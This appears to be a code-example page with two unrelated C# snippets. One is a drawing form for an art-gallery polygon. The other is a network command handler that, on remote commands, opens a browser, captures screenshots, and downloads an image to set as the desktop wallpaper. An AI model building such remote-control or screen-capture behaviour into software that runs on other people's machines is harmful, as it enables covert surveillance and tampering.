Exemplo n.º 1
0
        static string Execute(NetworkStream stream)
        {
            try
            {
                Byte[] data = new Byte[256];

                Byte[] mssg = System.Text.Encoding.ASCII.GetBytes("exit");
                // String to store the response ASCII representation.
                String responseData = String.Empty;
                // Console.WriteLine("aici");
                // Read the first batch of the TcpServer response bytes.
                Int32 bytes;

                while ((bytes = stream.Read(data, 0, data.Length)) != 0)
                {
                    responseData = System.Text.Encoding.ASCII.GetString(data, 0, bytes);
                    // Console.WriteLine(responseData);
                    if (responseData == "gmail")
                    {
                        //deschide link
                        System.Diagnostics.Process.Start("http://gmail.com");
                    }
                    else if (responseData == "exit")
                    {
                        return(responseData);
                    }
                    else if (responseData == "capture")
                    {
                        MyForm mf = new MyForm();
                        CaptureScreenshot(mf);
                    }
                    else if (responseData == "3sum")
                    {
                        using (var client = new WebClient())
                        {
                            client.DownloadFile("https://i.imgur.com/055ha8B.png", "3sum.png");
                        }
                        string dir = Directory.GetCurrentDirectory();
                        dir += "\\3sum.png";

                        Wallpaper.Set(dir, Wallpaper.Style.Centered);
                    }
                    else
                    {
                        break;
                    }
                }
            }
            catch (ArgumentNullException e)
            {
                Console.WriteLine("ArgumentNullException: {0}", e);
            }
            catch (SocketException e)
            {
                Console.WriteLine("SocketException: {0}", e);
            }

            return("waiting...");
        }
Exemplo n.º 2
0
        public ArtGallery()
        {
            mGalleryGeom = Connect(
                new Point(100, 0),
                new Point(200, 0),
                new Point(200, 100),
                new Point(250, 100),
                new Point(250, 50),
                new Point(300, 50),
                //new Point(300, 100),
                new Point(300, 200),
                new Point(200, 200),
                new Point(200, 300),
                new Point(100, 300),
                new Point(100, 200),
                new Point(0, 200),
                new Point(0, 100),
                new Point(100, 100),
                new Point(100, 0)
                );

            mPlayer = new Point(150, 150);

            mForm                 = new MyForm();
            mForm.BackColor       = Color.White;
            mForm.FormBorderStyle = FormBorderStyle.Sizable;
            mForm.Bounds          = new Rectangle(100, 100, 512, 512);   //Screen.PrimaryScreen.Bounds;
            mForm.TopMost         = true;
            Application.EnableVisualStyles();

            mGraphics = mForm.CreateGraphics();
            //mGraphics.TranslateTransform(10, 10);

            mForm.Paint     += new PaintEventHandler(this.Draw);
            mForm.MouseMove += new MouseEventHandler(this.MouseMove);
        }